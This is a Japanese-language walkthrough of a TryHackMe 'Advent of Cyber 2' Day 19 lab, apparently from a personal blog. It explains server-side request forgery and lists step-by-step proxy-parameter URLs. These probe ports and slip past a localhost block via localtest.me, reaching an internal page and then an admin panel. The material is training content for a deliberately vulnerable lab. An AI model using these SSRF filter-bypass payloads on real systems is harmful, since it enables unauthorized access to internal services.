[TryHackMe] Advent of Cyber 2, Day 19 - Walkthrough -


本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 19] Special by Tib3rius The Naughty or Nice List

ストーリー

サンタさんは、世界中の子供たちが現在自分がいたずらっ子リストに載っているか、いい子リストに載っているかをチェックできるWebアプリをリリースしました。残念ながら、それをコーディングしたエルフは思った以上のことを暴露してしまった。リストの管理画面へアクセスして、今年はすべての子供たちがサンタさんからプレゼントをもらえるようにすることはできますか。

あなた自身でこのウェブアプリをハッキングしてみるか、以下の指示に従ってみてください!
注意: ホスト名フィルターを回避する場合、localtest.meを使用してください。

Server-Side Request Forgery

Server-Side Request Forgery (SSRF)」は、攻撃者がサーバを利用して意図しないネットワーク要求を実行することができる場合に発生します。
脆弱性を評価する上で重要なことは、意図しないリクエストを行う能力を特定するとともに、その動作の影響を十分に示すことにあります。SSRFに脆弱なサーバがリクエストを行う能力によって、SSRFにより何ができるかが決まります。

「Advent of Cyber 2, Day 19」の例では、サイトはHTTPリクエストを許可していました。しかし、エルフたちは悪意のあるユーザーから自分たちのインフラストラクチャを十分に保護しておらず、結果として「Remote File Inclusion (RFI)」の脆弱性となり、機密と思われる情報の漏えいに至っています。

Walkthrough


  1. まずは、Webアプリにアクセスします。[Deploy]ボタンをクリックします。
    ブラウザにて割り振られたhttp://MACHINE_IP/にアクセスします。The Naughty or Nice Listの画面が表示されます。
    http://MACHINE_IP/
    

  2. フォームにNoriakiを入力し、[Search]ボタンをクリックします。

    Noriaki is on the Nice List.のメッセージが確認できます。
    このとき、URLは次のとおりです。

    http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3DNoriaki
    

  3. 同じサイトのルートに対するアクセスを試みます。このとき、URLは次のとおりです。
    http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F
    

    Not Found: The requested URL was not found on this server.のメッセージが確認できます。

  4. ポート番号を8080から80へ変更します。
    http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A80%2F
    

    Failed to connect to list.hohoho port 80: Connection refusedのメッセージが確認できます。

  5. ポート番号を22を指定します。
    http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho%3A22%2F
    

    Recv failure: Connection reset by peerのメッセージが確認できます。

  6. ローカルに実行されているサービスへのアクセスを試みます。ホスト名をlist.hohoholocalhostまたは127.0.0.1へ変更してアクセスを試みます。
    http://MACHINE_IP/?proxy=http%3A%2F%2Flocalhost%3A22%2F
    

    Your search has been blocked by our security team.のメッセージが確認できます。
    また、他のホスト名(127.0.0.1example.com)を試すと、それらもすべてブロックされます。

  7. DNSサブドメインを利用して、127.0.0.1に解決される独自のドメイン「list.hohoho.localtest.me」を指定します。ここでlocaltest.meは、すべてのサブドメインを127.0.0.1に解決させることができます。
    http://MACHINE_IP/?proxy=http%3A%2F%2Flist.hohoho.localtest.me
    

    ローカルで実行されているWebサーバーがあり、エルフ・McSkidyからのメッセージに、機密と思われる情報が含まれていることが確認できます。

  8. サイトフッターに表示されている[Admin]リンクまたはページ下にスクロールします。いくつかのユーザー名候補と、パスワードを試してみます。

    List Administrationページが表示されました。[DELETE NAUGHTY LIST]ボタンをクリックすると、チャレンジフラグが表示されました。

    これにて、19日目のミッションが終了です。

    参考情報

    参考書籍